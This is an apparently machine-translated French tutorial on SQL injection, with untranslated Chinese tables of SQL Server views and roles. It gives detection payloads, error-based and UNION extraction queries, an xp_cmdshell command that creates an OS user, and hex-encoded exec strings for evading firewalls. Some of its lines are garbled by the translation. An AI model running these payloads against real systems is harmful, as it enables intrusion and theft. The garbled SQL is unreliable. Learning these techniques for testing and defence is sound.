Les trois méthodes d'injection SQL sont : 1. Injection numérique. Lorsque le paramètre d'entrée est un entier, il peut y avoir une vulnérabilité d'injection numérique. 2. Lorsque le paramètre d'entrée est une chaîne, il peut y avoir un type de caractère. injection Vulnérabilité d'injection ; 3. Injection de type recherche, les paramètres de recherche ne sont pas filtrés lors de la recherche de données.
L'environnement d'exploitation de ce tutoriel : système Windows 7, mysql version 8.0, ordinateur Dell G3.
Les attaques par injection SQL font référence à la construction d'entrées spéciales en tant que paramètres et à leur transmission dans des applications Web, et la plupart de ces entrées sont des combinaisons dans la syntaxe SQL. En exécutant des instructions SQL, l'attaquant effectue l'opération souhaitée. La raison en est que le programme ne filtre pas soigneusement les données saisies par l'utilisateur, provoquant l'invasion de données illégales dans le système.
1. Injection numérique
Lorsque le paramètre d'entrée est un entier, il peut y avoir une vulnérabilité d'injection numérique.
Supposons qu'il y ait une URL : HTTP://www.aaa.com/test.php?id=1
Vous pouvez deviner l'instruction SQL d'arrière-plan comme :
SELECT * FROM table WHERE id=1
Jugez le numéro de point d'injection SQL de type vulnérabilité :
① Entrez d'abord un guillemet simple '
dans la zone de saisie L'instruction SQL deviendra :
SELECT * FROM table WHERE id=1',
n'est pas conforme à la syntaxe. , donc Cette instruction va certainement mal tourner, empêchant le script d'obtenir des données de la base de données, ce qui fera apparaître la page d'origine anormale.
② Entrez et 1 = 1 dans la zone de saisie
L'instruction SQL devient :
SELECT * FROM table WHERE id=1 et 1 = 1
L'instruction est correcte et s'exécute normalement. Il n'y a aucune différence entre celle renvoyée. données et la demande originale.
③ Entrez et 1 = 2 dans la base de données
L'instruction SQL devient :
SELECT * FROM table WHERE id=1 et 1 = 2
Bien que la syntaxe soit correcte et que l'instruction s'exécute normalement, la logique est fausse car 1 = 2 C'est définitivement faux, donc les données renvoyées sont différentes de la demande d'origine.
Si les trois étapes ci-dessus sont remplies, le programme peut présenter une vulnérabilité d'injection SQL numérique.
2. Injection de caractères
Lorsque le paramètre d'entrée est une chaîne, il peut y avoir une vulnérabilité d'injection de caractères. La plus grande différence entre l'injection numérique et l'injection de caractères est que les types numériques n'ont pas besoin d'être fermés par des guillemets simples, alors que les types de caractères doivent généralement être fermés par des guillemets simples.
La chose la plus critique concernant l'injection de caractères est de savoir comment fermer l'instruction SQL et commenter le code redondant.
Supposons que l'instruction SQL d'arrière-plan soit la suivante :
SELECT * FROM table WHERE username = 'admin'
Déterminez le point d'injection SQL de la vulnérabilité du type de caractère :
① Ou entrez d'abord le guillemet simple admin' pour tester
une telle instruction SQL Cela deviendra :
SELECT * FROM table WHERE username = 'admin''.
La page est anormale.
② Entrée : admin' et 1 = 1 --
Remarque : il y a un guillemet simple ' après admin, qui est utilisé pour fermer la chaîne, et il y a un caractère de commentaire à la fin--(il y a un espace après les deux barres ! ).
L'instruction SQL devient :
SELECT * FROM table WHERE username = 'admin' et 1 = 1 --
La page s'affiche correctement.
③ Entrée : admin' et 1 = 2 --
L'instruction SQL devient :
SELECT * FROM table WHERE username = 'admin' et 1 = 2 --
Erreur de page.
Si les trois étapes ci-dessus sont remplies, une injection SQL de caractères peut exister.
3. Recherche d'injection
Il s'agit d'un type spécial d'injection. Ce type d'injection fait principalement référence au fait de ne pas filtrer les paramètres de recherche lors de la recherche de données. Généralement, il y a « mot-clé=mot-clé » dans l'adresse du lien. Certains ne sont pas affichés dans l'adresse du lien, mais sont soumis directement via le formulaire du champ de recherche. Le prototype de l'instruction SQL soumise par ce type de point d'injection est grossièrement : select * from table name which field like '%keyword%' S'il y a injection, nous pouvons construire une instruction d'injection SQL similaire à la suivante pour le dynamitage : select * from table Le nom du champ est comme '%test%' et '%1%'='%1%'
Voici quelques noms d'injection courants :
Injection POST : le champ d'injection se trouve dans les données POST
Injection de cookie : le champ d'injection se trouve dans les données du cookie
Injection retardée : injectée à l'aide de la fonction de délai de la base de données
Injection de recherche : le lieu d'injection est le lieu de recherche
injection de base64 : le la chaîne injectée doit être cryptée en base64
Pour les injections de base de données, les attaquants utilisent simplement la base de données pour obtenir plus de données ou des autorisations plus importantes. Les méthodes d'utilisation peuvent être résumées dans les catégories suivantes :
Requête. data
Lire et écrire des fichiers
Exécuter des commandes
Pour l'injection de programmes, les attaquants font ces trois choses quelle que soit la base de données, mais les instructions SQL injectées dans différentes bases de données sont différentes.
Voici les injections de trois bases de données : Oracle 11g, MySQL 5.1 et SQL Server 2008.
La base de données SQL Server est une très bonne base de données, elle peut localiser avec précision les informations d'erreur, ce qui est une très bonne chose pour les attaquants, car les attaquants peuvent extraire les données souhaitées du message d'erreur.
① Énumérez la table ou la colonne actuelle
Supposons qu'une telle table existe :
Interrogez les détails de l'utilisateur root L'instruction SQL est devinée comme suit :
SELECT * FROM user WHERE username = 'root. ' AND password = 'root'
Un attaquant peut utiliser les fonctionnalités de SQL Server pour obtenir des informations sensibles. Entrez l'instruction suivante dans la zone de saisie :
' ayant 1 = 1 --
L'instruction SQL finale exécutée deviendra :
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
Ensuite, l'exécuteur SQL peut générer une erreur :
L'attaquant peut découvrir que le nom de la table actuelle est user , et l'identifiant du champ existe.
L'attaquant peut utiliser cette fonctionnalité pour continuer à obtenir d'autres noms de colonnes, entrez l'instruction suivante :
' GROUP BY users.id HAVING 1 = 1 --
Ensuite, l'instruction SQL devient :
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
renvoie une erreur :
À partir de là, vous pouvez voir que le nom de la colonne nom d'utilisateur est inclus. Vous pouvez interroger de manière récursive une fois jusqu'à ce qu'aucun message d'erreur ne soit renvoyé. Vous pouvez donc utiliser la clause HAVING pour obtenir tous les noms de colonnes de la table actuelle.
Remarque : chaque colonne spécifiée par Select doit apparaître dans la clause Group By, sauf si une fonction d'agrégation est utilisée pour cette colonne
② Extrayez les données à l'aide d'erreurs de type de données
Si vous essayez de comparer une chaîne avec une non-chaîne. , ou convertissez une chaîne en un autre type incompatible, l'éditeur SQL lèvera une exception.
L'instruction SQL suivante :
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM user)
Message d'erreur de l'exécuteur :
This You peut obtenir le nom d'utilisateur root de l'utilisateur. Parce que dans la sous-requête SELECT TOP 1 username FROM users, le premier nom d'utilisateur interrogé est renvoyé. Le type de retour est de type varchar, puis comparé à 1 de type int. Les deux types de données différents ne peuvent pas être comparés et une erreur est signalée. a entraîné une violation de données.
Utilisez cette méthode pour déduire de manière récursive toutes les informations du compte :
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM user WHERE not in ('root' )) .
Vous pouvez obtenir le nom d'utilisateur suivant en construisant cette instruction ; si vous remplacez le nom d'utilisateur dans la sous-requête par d'autres noms de colonnes, vous pouvez obtenir les informations d'autres colonnes, qui ne seront pas décrites ici.
SQL Server fournit un grand nombre de vues pour faciliter l'obtention de métadonnées. Vous pouvez d'abord deviner le nombre de colonnes dans la table, puis utiliser UNION pour construire une instruction SQL afin d'obtenir les données.
Par exemple :
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
Si le nombre de colonnes dans la table actuelle est 2, vous pouvez utiliser l'instruction UNION pour obtenir la table de base de données actuelle. Comment deviner le nombre de colonnes dans le tableau actuel sera décrit plus tard.
Quelques vues de base de données système couramment utilisées :
数据库视图 | 说明 |
---|---|
SYS.DATABASES | SQL Server 中的所有数据库 |
SYS.SQL_LOGINS | SQL Server 中的所有登录名 |
INFORMATION_SCHEMA.TABLES | 当前用户数据库中的所有数据表 |
INFORMATION_SCHEMA.COLUMNS | 当前用户数据库中的所有列 |
SYS.ALL_COLUMNS | 用户定义对象和系统对象的所有列的联合 |
SYS.DATABASE_PRINCIPALS | 数据库中每个权限或列异常权限 |
SYS.DATABASE_FILES | 存储在数据库中的数据库文件 |
SYSOBJECTS | 数据库中创建的每个对象 (包括约束、日志以及存储过程) |
Vous pouvez utiliser l'instruction ORDER BY pour déterminer le nombre de colonnes dans la table actuelle.
Par exemple :
① SELECT * FROM utilisateurs WHERE id = 1——L'exécution SQL est normale
②SELECT * FROM utilisateurs WHERE id = 1 ORDER BY 1 (trié par la première colonne)——L'exécution SQL est normale
③ SELECT * FROM utilisateurs WHERE id = 1 ORDER BY 2 (trié selon la deuxième colonne) - L'exécution SQL est normale
④ SELECT * FROM utilisateurs WHERE id = 1 ORDER BY 3 (trié selon la troisième colonne) - Exécution SQL est normal
⑤ SELECT * FROM utilisateurs WHERE id = 1 ORDER BY 4 (trié par la quatrième colonne) - SQL lève une exception :
On peut conclure que le nombre de colonnes dans la table actuelle n'est que de 3 , car lors du tri selon la quatrième colonne, une erreur s'est produite lors du tri des colonnes. Cette méthode fonctionne également dans les bases de données Oracle et MySql.
Après avoir connu le nombre de colonnes, l'attaquant coopère généralement avec le mot-clé UNION pour mener l'attaque suivante.
Le mot-clé UNION combine deux résultats de requête ou plus en un seul ensemble de résultats. La plupart des bases de données prennent en charge les requêtes UNION. Cependant, il existe les règles de base suivantes pour fusionner deux résultats à l'aide de UNION :
Le nombre de colonnes dans toutes les requêtes doit être le même
Les types de données doivent être compatibles
① Utilisez UNION pour interroger devinez le nombre de colonnes
Non seulement vous pouvez utiliser la méthode ORDER BY pour deviner le nombre de colonnes, mais la méthode UNION peut également être utilisée.
Il y a 5 colonnes dans la table utilisateur supposée précédemment. Si nous utilisons UNION pour interroger :
SELECT * FROM users WHERE id = 1 UNION SELECT 1
La base de données émettra une exception :
Peut être interrogée. par récursion, jusqu'à ce qu'aucune erreur ne se produise, vous pouvez connaître le nombre de champs de requête dans la table User :
UNION SELECT 1,2, UNION SELECT 1,2,3
Vous pouvez également modifier le nombre après SELECT en null, donc cette incompatibilité est moins susceptible de se produire exception.
② Requête Union pour les informations sensibles
Après avoir su que le nombre de colonnes est de 4, vous pouvez utiliser l'instruction suivante pour continuer l'injection :
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U ' (Remarque : xtype = 'U' signifie que le type d'objet est une table)
Si le type de données de la première colonne ne correspond pas, la base de données signalera une erreur, vous pourrez alors interroger de manière récursive jusqu'à ce que les instructions soient compatibles. Lorsque l'instruction est exécutée normalement, vous pouvez remplacer x par une instruction SQL pour interroger des informations sensibles.
SQL Server fournit de nombreuses fonctions système. Vous pouvez utiliser ces fonctions système pour accéder aux informations dans les tables système SQL Server sans utiliser d'instructions de requête SQL.
Par exemple :
SELECT suser_name() : renvoie le nom d'identification de connexion de l'utilisateur
SELECT user_name() : renvoie le nom d'utilisateur de la base de données en fonction du numéro d'identification spécifié
SELECT db_name() : renvoie le nom de la base de données
SELECT is_member('db_owner') : S'il s'agit d'un rôle de base de données
SELECT convert(int, '5') : Conversion du type de données
La procédure stockée la plus couramment utilisée par les attaquants est "xp_cmdshell". Cette procédure stockée permet aux utilisateurs d'exécuter des commandes du système d'exploitation.
Par exemple : S'il y a un point d'injection dans http://www.aaa.org/test.aspx?id=1, alors l'attaquant peut mettre en œuvre une attaque par commande :
http://www.aaa.org/ test.aspx? id=1 ; exec xp_cmdshell 'net user test test /add'
L'instruction SQL finale exécutée est la suivante :
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test/add'
après le point-virgule Cette instruction peut créer un nouvel utilisateur avec le test du nom d'utilisateur et le test du mot de passe sur le serveur de l'autre partie pour l'attaquant.
Remarque : aucun utilisateur de base de données ne peut utiliser ce type de procédure stockée, l'utilisateur doit détenir les autorisations CONTROL SERVER.
Les procédures stockées dangereuses courantes sont les suivantes :
De plus, toute base de données nécessite des autorisations spécifiques lors de l'utilisation de certaines fonctions spéciales ou procédures stockées. Les rôles et autorisations courants de la base de données SQL Server sont les suivants :
角色 | 权限 |
---|---|
bulkadmin | 可以运行 BULK INSERT 语句 |
dbcreator | 可以创建、更改、删除和还原任何数据库 |
diskadmin | 可以管理磁盘文件 |
processadmin | 可以种植在数据库引擎中运行的实例 |
securityadmin | 可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码 |
serveradmin | 可以更改服务器范围的配置选项和关闭服务器 |
setupadmin | 可以添加和删除链接服务器,并可以执行某些系统存储过程 |
sysadmin | 可以在数据库引擎中执行任何活动 |
SQL Server prend en charge l'exécution dynamique des instructions et les utilisateurs peuvent soumettre une chaîne pour exécuter des instructions SQL.
Par exemple : exec('SELECT username, password FROM users')
Vous pouvez également définir une instruction SQL hexadécimale et utiliser la fonction exec pour l'exécuter. La plupart des applications Web et des pare-feu filtrent les guillemets simples. L'utilisation de exec pour exécuter des instructions SQL hexadécimales peut contourner de nombreux pare-feu et programmes anti-injection, tels que :
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
ou :
declare/**/@requête/**/varchar (888). /**/sélectionner/**/@query=0x73656C6563742031/**/exec(@query)
Recommandations associées : "tutoriel mysql"
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!